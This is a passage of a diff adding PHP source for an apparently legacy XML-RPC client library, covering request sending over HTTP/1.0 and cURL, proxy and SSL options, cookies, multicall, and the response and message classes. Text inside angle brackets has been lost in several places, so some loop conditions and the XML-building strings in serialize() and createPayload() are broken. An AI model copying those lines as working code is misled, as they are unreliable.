the private SSL key + * @access public + */ + function setKey($key, $keypass) + { + $this->key = $key; + $this->keypass = $keypass; + } + + /** + * Set attributes for SSL communication: verify server certificate + * @param bool $i enable/disable verification of peer certificate + * @access public + */ + function setSSLVerifyPeer($i) + { + $this->verifypeer = $i; + } + + /** + * Set attributes for SSL communication: verify match of server cert w. hostname + * @param int $i + * @access public + */ + function setSSLVerifyHost($i) + { + $this->verifyhost = $i; + } + + /** + * Set proxy info + * @param string $proxyhost + * @param string $proxyport Defaults to 8080 for HTTP and 443 for HTTPS + * @param string $proxyusername Leave blank if proxy has public access + * @param string $proxypassword Leave blank if proxy has public access + * @param int $proxyauthtype set to constant CURLAUTH_NTLM to use NTLM auth with proxy + * @access public + */ + function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 1) + { + $this->proxy = $proxyhost; + $this->proxyport = $proxyport; + $this->proxy_user = $proxyusername; + $this->proxy_pass = $proxypassword; + $this->proxy_authtype = $proxyauthtype; + } + + /** + * Enables/disables reception of compressed xmlrpc responses. + * Note that enabling reception of compressed responses merely adds some standard + * http headers to xmlrpc requests. It is up to the xmlrpc server to return + * compressed responses when receiving such requests. + * @param string $compmethod either 'gzip', 'deflate', 'any' or '' + * @access public + */ + function setAcceptedCompression($compmethod) + { + if ($compmethod == 'any') + $this->accepted_compression = array('gzip', 'deflate'); + else + $this->accepted_compression = array($compmethod); + } + + /** + * Enables/disables http compression of xmlrpc request. + * Take care when sending compressed requests: servers might not support them + * (and automatic fallback to uncompressed requests is not yet implemented) + * @param string $compmethod either 'gzip', 'deflate' or '' + * @access public + */ + function setRequestCompression($compmethod) + { + $this->request_compression = $compmethod; + } + + /** + * Adds a cookie to list of cookies that will be sent to server. + * NB: setting any param but name and value will turn the cookie into a 'version 1' cookie: + * do not do it unless you know what you are doing + * @param string $name + * @param string $value + * @param string $path + * @param string $domain + * @param int $port + * @access public + * + * @todo check correctness of urlencoding cookie value (copied from php way of doing it...) + */ + function setCookie($name, $value='', $path='', $domain='', $port=null) + { + $this->cookies[$name]['value'] = urlencode($value); + if ($path || $domain || $port) + { + $this->cookies[$name]['path'] = $path; + $this->cookies[$name]['domain'] = $domain; + $this->cookies[$name]['port'] = $port; + $this->cookies[$name]['version'] = 1; + } + else + { + $this->cookies[$name]['version'] = 0; + } + } + + /** + * Send an xmlrpc request + * @param mixed $msg The message object, or an array of messages for using multicall, or the complete xml representation of a request + * @param integer $timeout Connection timeout, in seconds, If unspecified, a platform specific timeout will apply + * @param string $method if left unspecified, the http protocol chosen during creation of the object will be used + * @return xmlrpcresp + * @access public + */ + function& send($msg, $timeout=0, $method='') + { + // if user deos not specify http protocol, use native method of this client + // (i.e. method set during call to constructor) + if($method == '') + { + $method = $this->method; + } + + if(is_array($msg)) + { + // $msg is an array of xmlrpcmsg's + $r = $this->multicall($msg, $timeout, $method); + return $r; + } + elseif(is_string($msg)) + { + $n =& new xmlrpcmsg(''); + $n->payload = $msg; + $msg = $n; + } + + // where msg is an xmlrpcmsg + $msg->debug=$this->debug; + + if($method == 'https') + { + $r =& $this->sendPayloadHTTPS( + $msg, + $this->server, + $this->port, + $timeout, + $this->username, + $this->password, + $this->authtype, + $this->cert, + $this->certpass, + $this->cacert, + $this->cacertdir, + $this->proxy, + $this->proxyport, + $this->proxy_user, + $this->proxy_pass, + $this->proxy_authtype, + $this->keepalive, + $this->key, + $this->keypass + ); + } + elseif($method == 'http11') + { + $r =& $this->sendPayloadCURL( + $msg, + $this->server, + $this->port, + $timeout, + $this->username, + $this->password, + $this->authtype, + null, + null, + null, + null, + $this->proxy, + $this->proxyport, + $this->proxy_user, + $this->proxy_pass, + $this->proxy_authtype, + 'http', + $this->keepalive + ); + } + else + { + $r =& $this->sendPayloadHTTP10( + $msg, + $this->server, + $this->port, + $timeout, + $this->username, + $this->password, + $this->authtype, + $this->proxy, + $this->proxyport, + $this->proxy_user, + $this->proxy_pass, + $this->proxy_authtype + ); + } + + return $r; + } + + /** + * @access private + */ + function &sendPayloadHTTP10($msg, $server, $port, $timeout=0, + $username='', $password='', $authtype=1, $proxyhost='', + $proxyport=0, $proxyusername='', $proxypassword='', $proxyauthtype=1) + { + if($port==0) + { + $port=80; + } + + // Only create the payload if it was not created previously + if(empty($msg->payload)) + { + $msg->createPayload($this->request_charset_encoding); + } + + $payload = $msg->payload; + // Deflate request body and set appropriate request headers + if(function_exists('gzdeflate') && ($this->request_compression == 'gzip' || $this->request_compression == 'deflate')) + { + if($this->request_compression == 'gzip') + { + $a = @gzencode($payload); + if($a) + { + $payload = $a; + $encoding_hdr = "Content-Encoding: gzip\r\n"; + } + } + else + { + $a = @gzcompress($payload); + if($a) + { + $payload = $a; + $encoding_hdr = "Content-Encoding: deflate\r\n"; + } + } + } + else + { + $encoding_hdr = ''; + } + + // thanks to Grant Rauscher for this + $credentials=''; + if($username!='') + { + $credentials='Authorization: Basic ' . base64_encode($username . ':' . $password) . "\r\n"; + if ($authtype != 1) + { + error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth is supported with HTTP 1.0'); + } + } + + $accepted_encoding = ''; + if(is_array($this->accepted_compression) && count($this->accepted_compression)) + { + $accepted_encoding = 'Accept-Encoding: ' . implode(', ', $this->accepted_compression) . "\r\n"; + } + + $proxy_credentials = ''; + if($proxyhost) + { + if($proxyport == 0) + { + $proxyport = 8080; + } + $connectserver = $proxyhost; + $connectport = $proxyport; + $uri = 'http://'.$server.':'.$port.$this->path; + if($proxyusername != '') + { + if ($proxyauthtype != 1) + { + error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth to proxy is supported with HTTP 1.0'); + } + $proxy_credentials = 'Proxy-Authorization: Basic ' . base64_encode($proxyusername.':'.$proxypassword) . "\r\n"; + } + } + else + { + $connectserver = $server; + $connectport = $port; + $uri = $this->path; + } + + // Cookie generation, as per rfc2965 (version 1 cookies) or + // netscape's rules (version 0 cookies) + $cookieheader=''; + if (count($this->cookies)) + { + $version = ''; + foreach ($this->cookies as $name => $cookie) + { + if ($cookie['version']) + { + $version = ' $Version="' . $cookie['version'] . '";'; + $cookieheader .= ' ' . $name . '="' . $cookie['value'] . '";'; + if ($cookie['path']) + $cookieheader .= ' $Path="' . $cookie['path'] . '";'; + if ($cookie['domain']) + $cookieheader .= ' $Domain="' . $cookie['domain'] . '";'; + if ($cookie['port']) + $cookieheader .= ' $Port="' . $cookie['port'] . '";'; + } + else + { + $cookieheader .= ' ' . $name . '=' . $cookie['value'] . ";"; + } + } + $cookieheader = 'Cookie:' . $version . substr($cookieheader, 0, -1) . "\r\n"; + } + + $op= 'POST ' . $uri. " HTTP/1.0\r\n" . + 'User-Agent: ' . $GLOBALS['xmlrpcName'] . ' ' . $GLOBALS['xmlrpcVersion'] . "\r\n" . + 'Host: '. $server . ':' . $port . "\r\n" . + $credentials . + $proxy_credentials . + $accepted_encoding . + $encoding_hdr . + 'Accept-Charset: ' . implode(',', $this->accepted_charset_encodings) . "\r\n" . + $cookieheader . + 'Content-Type: ' . $msg->content_type . "\r\nContent-Length: " . + strlen($payload) . "\r\n\r\n" . + $payload; + + if($this->debug > 1) + { + print "
    \n---SENDING---\n" . htmlentities($op) . "\n---END---\n
    "; + // let the client see this now in case http times out... + flush(); + } + + if($timeout>0) + { + $fp=@fsockopen($connectserver, $connectport, $this->errno, $this->errstr, $timeout); + } + else + { + $fp=@fsockopen($connectserver, $connectport, $this->errno, $this->errstr); + } + if($fp) + { + if($timeout>0 && function_exists('stream_set_timeout')) + { + stream_set_timeout($fp, $timeout); + } + } + else + { + $this->errstr='Connect error: '.$this->errstr; + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['http_error'], $this->errstr . ' (' . $this->errno . ')'); + return $r; + } + + if(!fputs($fp, $op, strlen($op))) + { + fclose($fp); + $this->errstr='Write error'; + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['http_error'], $this->errstr); + return $r; + } + else + { + // reset errno and errstr on succesful socket connection + $this->errstr = ''; + } + // G. Giunta 2005/10/24: close socket before parsing. + // should yeld slightly better execution times, and make easier recursive calls (e.g. to follow http redirects) + $ipd=''; + do + { + // shall we check for $data === FALSE? + // as per the manual, it signals an error + $ipd.=fread($fp, 32768); + } while(!feof($fp)); + fclose($fp); + $r =& $msg->parseResponse($ipd, false, $this->return_type); + return $r; + + } + + /** + * @access private + */ + function &sendPayloadHTTPS($msg, $server, $port, $timeout=0, $username='', + $password='', $authtype=1, $cert='',$certpass='', $cacert='', $cacertdir='', + $proxyhost='', $proxyport=0, $proxyusername='', $proxypassword='', $proxyauthtype=1, + $keepalive=false, $key='', $keypass='') + { + $r =& $this->sendPayloadCURL($msg, $server, $port, $timeout, $username, + $password, $authtype, $cert, $certpass, $cacert, $cacertdir, $proxyhost, $proxyport, + $proxyusername, $proxypassword, $proxyauthtype, 'https', $keepalive, $key, $keypass); + return $r; + } + + /** + * Contributed by Justin Miller + * Requires curl to be built into PHP + * NB: CURL versions before 7.11.10 cannot use proxy to talk to https servers! + * @access private + */ + function &sendPayloadCURL($msg, $server, $port, $timeout=0, $username='', + $password='', $authtype=1, $cert='', $certpass='', $cacert='', $cacertdir='', + $proxyhost='', $proxyport=0, $proxyusername='', $proxypassword='', $proxyauthtype=1, $method='https', + $keepalive=false, $key='', $keypass='') + { + if(!function_exists('curl_init')) + { + $this->errstr='CURL unavailable on this install'; + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['no_curl'], $GLOBALS['xmlrpcstr']['no_curl']); + return $r; + } + if($method == 'https') + { + if(($info = curl_version()) && + ((is_string($info) && strpos($info, 'OpenSSL') === null) || (is_array($info) && !isset($info['ssl_version'])))) + { + $this->errstr='SSL unavailable on this install'; + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['no_ssl'], $GLOBALS['xmlrpcstr']['no_ssl']); + return $r; + } + } + + if($port == 0) + { + if($method == 'http') + { + $port = 80; + } + else + { + $port = 443; + } + } + + // Only create the payload if it was not created previously + if(empty($msg->payload)) + { + $msg->createPayload($this->request_charset_encoding); + } + + // Deflate request body and set appropriate request headers + $payload = $msg->payload; + if(function_exists('gzdeflate') && ($this->request_compression == 'gzip' || $this->request_compression == 'deflate')) + { + if($this->request_compression == 'gzip') + { + $a = @gzencode($payload); + if($a) + { + $payload = $a; + $encoding_hdr = 'Content-Encoding: gzip'; + } + } + else + { + $a = @gzcompress($payload); + if($a) + { + $payload = $a; + $encoding_hdr = 'Content-Encoding: deflate'; + } + } + } + else + { + $encoding_hdr = ''; + } + + if($this->debug > 1) + { + print "
    \n---SENDING---\n" . htmlentities($payload) . "\n---END---\n
    "; + // let the client see this now in case http times out... + flush(); + } + + if(!$keepalive || !$this->xmlrpc_curl_handle) + { + $curl = curl_init($method . '://' . $server . ':' . $port . $this->path); + if($keepalive) + { + $this->xmlrpc_curl_handle = $curl; + } + } + else + { + $curl = $this->xmlrpc_curl_handle; + } + + // results into variable + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); + + if($this->debug) + { + curl_setopt($curl, CURLOPT_VERBOSE, 1); + } + curl_setopt($curl, CURLOPT_USERAGENT, $GLOBALS['xmlrpcName'].' '.$GLOBALS['xmlrpcVersion']); + // required for XMLRPC: post the data + curl_setopt($curl, CURLOPT_POST, 1); + // the data + curl_setopt($curl, CURLOPT_POSTFIELDS, $payload); + + // return the header too + curl_setopt($curl, CURLOPT_HEADER, 1); + + // will only work with PHP >= 5.0 + // NB: if we set an empty string, CURL will add http header indicating + // ALL methods it is supporting. This is possibly a better option than + // letting the user tell what curl can / cannot do... + if(is_array($this->accepted_compression) && count($this->accepted_compression)) + { + //curl_setopt($curl, CURLOPT_ENCODING, implode(',', $this->accepted_compression)); + // empty string means 'any supported by CURL' (shall we catch errors in case CURLOPT_SSLKEY undefined ?) + if (count($this->accepted_compression) == 1) + { + curl_setopt($curl, CURLOPT_ENCODING, $this->accepted_compression[0]); + } + else + curl_setopt($curl, CURLOPT_ENCODING, ''); + } + // extra headers + $headers = array('Content-Type: ' . $msg->content_type , 'Accept-Charset: ' . implode(',', $this->accepted_charset_encodings)); + // if no keepalive is wanted, let the server know it in advance + if(!$keepalive) + { + $headers[] = 'Connection: close'; + } + // request compression header + if($encoding_hdr) + { + $headers[] = $encoding_hdr; + } + + curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); + // timeout is borked + if($timeout) + { + curl_setopt($curl, CURLOPT_TIMEOUT, $timeout == 1 ? 1 : $timeout - 1); + } + + if($username && $password) + { + curl_setopt($curl, CURLOPT_USERPWD, $username.':'.$password); + if (defined('CURLOPT_HTTPAUTH')) + { + curl_setopt($curl, CURLOPT_HTTPAUTH, $authtype); + } + else if ($authtype != 1) + { + error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth is supported by the current PHP/curl install'); + } + } + + if($method == 'https') + { + // set cert file + if($cert) + { + curl_setopt($curl, CURLOPT_SSLCERT, $cert); + } + // set cert password + if($certpass) + { + curl_setopt($curl, CURLOPT_SSLCERTPASSWD, $certpass); + } + // whether to verify remote host's cert + curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, $this->verifypeer); + // set ca certificates file/dir + if($cacert) + { + curl_setopt($curl, CURLOPT_CAINFO, $cacert); + } + if($cacertdir) + { + curl_setopt($curl, CURLOPT_CAPATH, $cacertdir); + } + // set key file (shall we catch errors in case CURLOPT_SSLKEY undefined ?) + if($key) + { + curl_setopt($curl, CURLOPT_SSLKEY, $key); + } + // set key password (shall we catch errors in case CURLOPT_SSLKEY undefined ?) + if($keypass) + { + curl_setopt($curl, CURLOPT_SSLKEYPASSWD, $keypass); + } + // whether to verify cert's common name (CN); 0 for no, 1 to verify that it exists, and 2 to verify that it matches the hostname used + curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, $this->verifyhost); + } + + // proxy info + if($proxyhost) + { + if($proxyport == 0) + { + $proxyport = 8080; // NB: even for HTTPS, local connection is on port 8080 + } + curl_setopt($curl, CURLOPT_PROXY, $proxyhost.':'.$proxyport); + //curl_setopt($curl, CURLOPT_PROXYPORT,$proxyport); + if($proxyusername) + { + curl_setopt($curl, CURLOPT_PROXYUSERPWD, $proxyusername.':'.$proxypassword); + if (defined('CURLOPT_PROXYAUTH')) + { + curl_setopt($curl, CURLOPT_PROXYAUTH, $proxyauthtype); + } + else if ($proxyauthtype != 1) + { + error_log('XML-RPC: xmlrpc_client::send: warning. Only Basic auth to proxy is supported by the current PHP/curl install'); + } + } + } + + // NB: should we build cookie http headers by hand rather than let CURL do it? + // the following code does not honour 'expires', 'path' and 'domain' cookie attributes + // set to client obj the the user... + if (count($this->cookies)) + { + $cookieheader = ''; + foreach ($this->cookies as $name => $cookie) + { + $cookieheader .= $name . '=' . $cookie['value'] . '; '; + } + curl_setopt($curl, CURLOPT_COOKIE, substr($cookieheader, 0, -2)); + } + + $result = curl_exec($curl); + + if ($this->debug > 1) + { + print "
    \n---CURL INFO---\n";
    +				foreach(curl_getinfo($curl) as $name => $val)
    +					 print $name . ': ' . htmlentities($val). "\n";
    +				print "---END---\n
    "; + } + + if(!$result) /// @todo we should use a better check here - what if we get back '' or '0'? + { + $this->errstr='no response'; + $resp=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['curl_fail'], $GLOBALS['xmlrpcstr']['curl_fail']. ': '. curl_error($curl)); + curl_close($curl); + if($keepalive) + { + $this->xmlrpc_curl_handle = null; + } + } + else + { + if(!$keepalive) + { + curl_close($curl); + } + $resp =& $msg->parseResponse($result, true, $this->return_type); + } + return $resp; + } + + /** + * Send an array of request messages and return an array of responses. + * Unless $this->no_multicall has been set to true, it will try first + * to use one single xmlrpc call to server method system.multicall, and + * revert to sending many successive calls in case of failure. + * This failure is also stored in $this->no_multicall for subsequent calls. + * Unfortunately, there is no server error code universally used to denote + * the fact that multicall is unsupported, so there is no way to reliably + * distinguish between that and a temporary failure. + * If you are sure that server supports multicall and do not want to + * fallback to using many single calls, set the fourth parameter to FALSE. + * + * NB: trying to shoehorn extra functionality into existing syntax has resulted + * in pretty much convoluted code... + * + * @param array $msgs an array of xmlrpcmsg objects + * @param integer $timeout connection timeout (in seconds) + * @param string $method the http protocol variant to be used + * @param boolean fallback When true, upon receiveing an error during multicall, multiple single calls will be attempted + * @return array + * @access public + */ + function multicall($msgs, $timeout=0, $method='', $fallback=true) + { + if ($method == '') + { + $method = $this->method; + } + if(!$this->no_multicall) + { + $results = $this->_try_multicall($msgs, $timeout, $method); + if(is_array($results)) + { + // System.multicall succeeded + return $results; + } + else + { + // either system.multicall is unsupported by server, + // or call failed for some other reason. + if ($fallback) + { + // Don't try it next time... + $this->no_multicall = true; + } + else + { + if (is_a($results, 'xmlrpcresp')) + { + $result = $results; + } + else + { + $result =& new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['multicall_error'], $GLOBALS['xmlrpcstr']['multicall_error']); + } + } + } + } + else + { + // override fallback, in case careless user tries to do two + // opposite things at the same time + $fallback = true; + } + + $results = array(); + if ($fallback) + { + // system.multicall is (probably) unsupported by server: + // emulate multicall via multiple requests + foreach($msgs as $msg) + { + $results[] =& $this->send($msg, $timeout, $method); + } + } + else + { + // user does NOT want to fallback on many single calls: + // since we should always return an array of responses, + // return an array with the same error repeated n times + foreach($msgs as $msg) + { + $results[] = $result; + } + } + return $results; + } + + /** + * Attempt to boxcar $msgs via system.multicall. + * Returns either an array of xmlrpcreponses, an xmlrpc error response + * or false (when received response does not respect valid multicall syntax) + * @access private + */ + function _try_multicall($msgs, $timeout, $method) + { + // Construct multicall message + $calls = array(); + foreach($msgs as $msg) + { + $call['methodName'] =& new xmlrpcval($msg->method(),'string'); + $numParams = $msg->getNumParams(); + $params = array(); + for($i = 0; $i < $numParams; $i++) + { + $params[$i] = $msg->getParam($i); + } + $call['params'] =& new xmlrpcval($params, 'array'); + $calls[] =& new xmlrpcval($call, 'struct'); + } + $multicall =& new xmlrpcmsg('system.multicall'); + $multicall->addParam(new xmlrpcval($calls, 'array')); + + // Attempt RPC call + $result =& $this->send($multicall, $timeout, $method); + + if($result->faultCode() != 0) + { + // call to system.multicall failed + return $result; + } + + // Unpack responses. + $rets = $result->value(); + + if ($this->return_type == 'xml') + { + return $rets; + } + else if ($this->return_type == 'phpvals') + { + ///@todo test this code branch... + $rets = $result->value(); + if(!is_array($rets)) + { + return false; // bad return type from system.multicall + } + $numRets = count($rets); + if($numRets != count($msgs)) + { + return false; // wrong number of return values. + } + + $response = array(); + for($i = 0; $i < $numRets; $i++) + { + $val = $rets[$i]; + if (!is_array($val)) { + return false; + } + switch(count($val)) + { + case 1: + if(!isset($val[0])) + { + return false; // Bad value + } + // Normal return value + $response[$i] =& new xmlrpcresp($val[0], 0, '', 'phpvals'); + break; + case 2: + /// @todo remove usage of @: it is apparently quite slow + $code = @$val['faultCode']; + if(!is_int($code)) + { + return false; + } + $str = @$val['faultString']; + if(!is_string($str)) + { + return false; + } + $response[$i] =& new xmlrpcresp(0, $code, $str); + break; + default: + return false; + } + } + return $response; + } + else // return type == 'xmlrpcvals' + { + $rets = $result->value(); + if($rets->kindOf() != 'array') + { + return false; // bad return type from system.multicall + } + $numRets = $rets->arraysize(); + if($numRets != count($msgs)) + { + return false; // wrong number of return values. + } + + $response = array(); + for($i = 0; $i < $numRets; $i++) + { + $val = $rets->arraymem($i); + switch($val->kindOf()) + { + case 'array': + if($val->arraysize() != 1) + { + return false; // Bad value + } + // Normal return value + $response[$i] =& new xmlrpcresp($val->arraymem(0)); + break; + case 'struct': + $code = $val->structmem('faultCode'); + if($code->kindOf() != 'scalar' || $code->scalartyp() != 'int') + { + return false; + } + $str = $val->structmem('faultString'); + if($str->kindOf() != 'scalar' || $str->scalartyp() != 'string') + { + return false; + } + $response[$i] =& new xmlrpcresp(0, $code->scalarval(), $str->scalarval()); + break; + default: + return false; + } + } + return $response; + } + } + } // end class xmlrpc_client + + class xmlrpcresp + { + var $val = 0; + var $valtyp; + var $errno = 0; + var $errstr = ''; + var $payload; + var $hdrs = array(); + var $_cookies = array(); + var $content_type = 'text/xml'; + var $raw_data = ''; + + /** + * @param mixed $val either an xmlrpcval obj, a php value or the xml serialization of an xmlrpcval (a string) + * @param integer $fcode set it to anything but 0 to create an error response + * @param string $fstr the error string, in case of an error response + * @param string $valtyp either 'xmlrpcvals', 'phpvals' or 'xml' + * + * @todo add check that $val / $fcode / $fstr is of correct type??? + * NB: as of now we do not do it, since it might be either an xmlrpcval or a plain + * php val, or a complete xml chunk, depending on usage of xmlrpc_client::send() inside which creator is called... + */ + function xmlrpcresp($val, $fcode = 0, $fstr = '', $valtyp='') + { + if($fcode != 0) + { + // error response + $this->errno = $fcode; + $this->errstr = $fstr; + //$this->errstr = htmlspecialchars($fstr); // XXX: encoding probably shouldn't be done here; fix later. + } + else + { + // successful response + $this->val = $val; + if ($valtyp == '') + { + // user did not declare type of response value: try to guess it + if (is_object($this->val) && is_a($this->val, 'xmlrpcval')) + { + $this->valtyp = 'xmlrpcvals'; + } + else if (is_string($this->val)) + { + $this->valtyp = 'xml'; + + } + else + { + $this->valtyp = 'phpvals'; + } + } + else + { + // user declares type of resp value: believe him + $this->valtyp = $valtyp; + } + } + } + + /** + * Returns the error code of the response. + * @return integer the error code of this response (0 for not-error responses) + * @access public + */ + function faultCode() + { + return $this->errno; + } + + /** + * Returns the error code of the response. + * @return string the error string of this response ('' for not-error responses) + * @access public + */ + function faultString() + { + return $this->errstr; + } + + /** + * Returns the value received by the server. + * @return mixed the xmlrpcval object returned by the server. Might be an xml string or php value if the response has been created by specially configured xmlrpc_client objects + * @access public + */ + function value() + { + return $this->val; + } + + /** + * Returns an array with the cookies received from the server. + * Array has the form: $cookiename => array ('value' => $val, $attr1 => $val1, $attr2 = $val2, ...) + * with attributes being e.g. 'expires', 'path', domain'. + * NB: cookies sent as 'expired' by the server (i.e. with an expiry date in the past) + * are still present in the array. It is up to the user-defined code to decide + * how to use the received cookies, and wheter they have to be sent back with the next + * request to the server (using xmlrpc_client::setCookie) or not + * @return array array of cookies received from the server + * @access public + */ + function cookies() + { + return $this->_cookies; + } + + /** + * Returns xml representation of the response. XML prologue not included + * @param string $charset_encoding the charset to be used for serialization. if null, US-ASCII is assumed + * @return string the xml representation of the response + * @access public + */ + function serialize($charset_encoding='') + { + if ($charset_encoding != '') + $this->content_type = 'text/xml; charset=' . $charset_encoding; + else + $this->content_type = 'text/xml'; + $result = "\n"; + if($this->errno) + { + // G. Giunta 2005/2/13: let non-ASCII response messages be tolerated by clients + // by xml-encoding non ascii chars + $result .= "\n" . +"\nfaultCode\n" . $this->errno . +"\n\n\nfaultString\n" . +xmlrpc_encode_entitites($this->errstr, $GLOBALS['xmlrpc_internalencoding'], $charset_encoding) . "\n\n" . +"\n\n"; + } + else + { + if(!is_object($this->val) || !is_a($this->val, 'xmlrpcval')) + { + if (is_string($this->val) && $this->valtyp == 'xml') + { + $result .= "\n\n" . + $this->val . + "\n"; + } + else + { + /// @todo try to build something serializable? + die('cannot serialize xmlrpcresp objects whose content is native php values'); + } + } + else + { + $result .= "\n\n" . + $this->val->serialize($charset_encoding) . + "\n"; + } + } + $result .= "\n"; + $this->payload = $result; + return $result; + } + } + + class xmlrpcmsg + { + var $payload; + var $methodname; + var $params=array(); + var $debug=0; + var $content_type = 'text/xml'; + + /** + * @param string $meth the name of the method to invoke + * @param array $pars array of parameters to be paased to the method (xmlrpcval objects) + */ + function xmlrpcmsg($meth, $pars=0) + { + $this->methodname=$meth; + if(is_array($pars) && count($pars)>0) + { + for($i=0; $iaddParam($pars[$i]); + } + } + } + + /** + * @access private + */ + function xml_header($charset_encoding='') + { + if ($charset_encoding != '') + { + return "\n\n"; + } + else + { + return "\n\n"; + } + } + + /** + * @access private + */ + function xml_footer() + { + return ''; + } + + /** + * @access private + */ + function kindOf() + { + return 'msg'; + } + + /** + * @access private + */ + function createPayload($charset_encoding='') + { + if ($charset_encoding != '') + $this->content_type = 'text/xml; charset=' . $charset_encoding; + else + $this->content_type = 'text/xml'; + $this->payload=$this->xml_header($charset_encoding); + $this->payload.='' . $this->methodname . "\n"; + $this->payload.="\n"; + for($i=0; $iparams); $i++) + { + $p=$this->params[$i]; + $this->payload.="\n" . $p->serialize($charset_encoding) . + "\n"; + } + $this->payload.="\n"; + $this->payload.=$this->xml_footer(); + } + + /** + * Gets/sets the xmlrpc method to be invoked + * @param string $meth the method to be set (leave empty not to set it) + * @return string the method that will be invoked + * @access public + */ + function method($meth='') + { + if($meth!='') + { + $this->methodname=$meth; + } + return $this->methodname; + } + + /** + * Returns xml representation of the message. XML prologue included + * @return string the xml representation of the message, xml prologue included + * @access public + */ + function serialize($charset_encoding='') + { + $this->createPayload($charset_encoding); + return $this->payload; + } + + /** + * Add a parameter to the list of parameters to be used upon method invocation + * @param xmlrpcval $par + * @return boolean false on failure + * @access public + */ + function addParam($par) + { + // add check: do not add to self params which are not xmlrpcvals + if(is_object($par) && is_a($par, 'xmlrpcval')) + { + $this->params[]=$par; + return true; + } + else + { + return false; + } + } + + /** + * Returns the nth parameter in the message. The index zero-based. + * @param integer $i the index of the parameter to fetch (zero based) + * @return xmlrpcval the i-th parameter + * @access public + */ + function getParam($i) { return $this->params[$i]; } + + /** + * Returns the number of parameters in the messge. + * @return integer the number of parameters currently set + * @access public + */ + function getNumParams() { return count($this->params); } + + /** + * Given an open file handle, read all data available and parse it as axmlrpc response. + * NB: the file handle is not closed by this function. + * NNB: might have trouble in rare cases to work on network streams, as we + * check for a read of 0 bytes instead of feof($fp). + * But since checking for feof(null) returns false, we would risk an + * infinite loop in that case, because we cannot trust the caller + * to give us a valid pointer to an open file... + * @access public + * @return xmlrpcresp + * @todo add 2nd & 3rd param to be passed to ParseResponse() ??? + */ + function &parseResponseFile($fp) + { + $ipd=''; + while($data=fread($fp, 32768)) + { + $ipd.=$data; + } + //fclose($fp); + $r =& $this->parseResponse($ipd); + return $r; + } + + /** + * Parses HTTP headers and separates them from data. + * @access private + */ + function &parseResponseHeaders(&$data, $headers_processed=false) + { + // Support "web-proxy-tunelling" connections for https through proxies + if(preg_match('/^HTTP\/1\.[0-1] 200 Connection established/', $data)) + { + // Look for CR/LF or simple LF as line separator, + // (even though it is not valid http) + $pos = strpos($data,"\r\n\r\n"); + if($pos || is_int($pos)) + { + $bd = $pos+4; + } + else + { + $pos = strpos($data,"\n\n"); + if($pos || is_int($pos)) + { + $bd = $pos+2; + } + else + { + // No separation between response headers and body: fault? + $bd = 0; + } + } + if ($bd) + { + // this filters out all http headers from proxy. + // maybe we could take them into account, too? + $data = substr($data, $bd); + } + else + { + error_log('XML-RPC: xmlrpcmsg::parseResponse: HTTPS via proxy error, tunnel connection possibly failed'); + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['http_error'], $GLOBALS['xmlrpcstr']['http_error']. ' (HTTPS via proxy error, tunnel connection possibly failed)'); + return $r; + } + } + + // Strip HTTP 1.1 100 Continue header if present + while(preg_match('/^HTTP\/1\.1 1[0-9]{2} /', $data)) + { + $pos = strpos($data, 'HTTP', 12); + // server sent a Continue header without any (valid) content following... + // give the client a chance to know it + if(!$pos && !is_int($pos)) // works fine in php 3, 4 and 5 + { + break; + } + $data = substr($data, $pos); + } + if(!preg_match('/^HTTP\/[0-9.]+ 200 /', $data)) + { + $errstr= substr($data, 0, strpos($data, "\n")-1); + error_log('XML-RPC: xmlrpcmsg::parseResponse: HTTP error, got response: ' .$errstr); + $r=&new xmlrpcresp(0, $GLOBALS['xmlrpcerr']['http_error'], $GLOBALS['xmlrpcstr']['http_error']. ' (' . $errstr . ')'); + return $r; + } + + $GLOBALS['_xh']['headers'] = array(); + $GLOBALS['_xh']['cookies'] = array(); + + // be tolerant to usage of \n instead of \r\n to separate headers and data + // (even though it is not valid http) + $pos = strpos($data,"\r\n\r\n"); + if($pos || is_int($pos)) + { + $bd = $pos+4; + } + else + { + $pos = strpos($data,"\n\n"); + if($pos || is_int($pos)) + { + $bd = $pos+2; + } + else + { + // No separation between response headers and body: fault? + // we could take some action here instead of going on... + $bd = 0; + } + } + // be tolerant to line endings, and extra empty lines + $ar = split("\r?\n", trim(substr($data, 0, $pos))); + while(list(,$line) = @each($ar)) + { + // take care of multi-line headers and cookies + $arr = explode(':',$line,2); + if(count($arr) > 1) + { + $header_name = strtolower(trim($arr[0])); + /// @todo some other headers (the ones that allow a CSV list of values) + /// do allow many values to be passed using multiple header lines. + /// We should add content to $GLOBALS['_xh']['headers'][$header_name] + /// instead of replacing it for those... + if ($header_name == 'set-cookie' || $header_name == 'set-cookie2') + { + if ($header_name == 'set-cookie2') + { + // version 2 cookies: + // there could be many cookies on one line, comma separated + $cookies = explode(',', $arr[1]); + } + else + { + $cookies = array($arr[1]); + } + foreach ($cookies as $cookie) + { + // glue together all received cookies, using a comma to separate them + // (same as php does with getallheaders()) + if (isset($GLOBALS['_xh']['headers'][$header_name])) + $GLOBALS['_xh']['headers'][$header_name] .= ', ' . trim($cookie); + else + $GLOBALS['_xh']['headers'][$header_name] = trim($cookie); + // parse cookie attributes, in case user wants to correctly honour them + // feature creep: only allow rfc-compliant cookie attributes? + // @todo support for server sending multiple time cookie with same name, but using different PATHs + $cookie = explode(';', $cookie); + foreach ($cookie as $pos => $val) + { + $val = explode('=', $val, 2); + $tag = trim($val[0]); + $val = trim(@$val[1]); + /// @todo with version 1 cookies, we should strip leading and trailing " chars + if ($pos == 0) + { + $cookiename = $tag; + $GLOBALS['_xh']['cookies'][$tag] = array(); + $GLOBALS['_xh']['cookies'][$cookiename]['value'] = urldecode($val); + } + else + { + if ($tag != 'value') + { + $GLOBALS['_xh']['cookies'][$cookiename][$tag] = $val; + } + } + } + } + } + else + { + 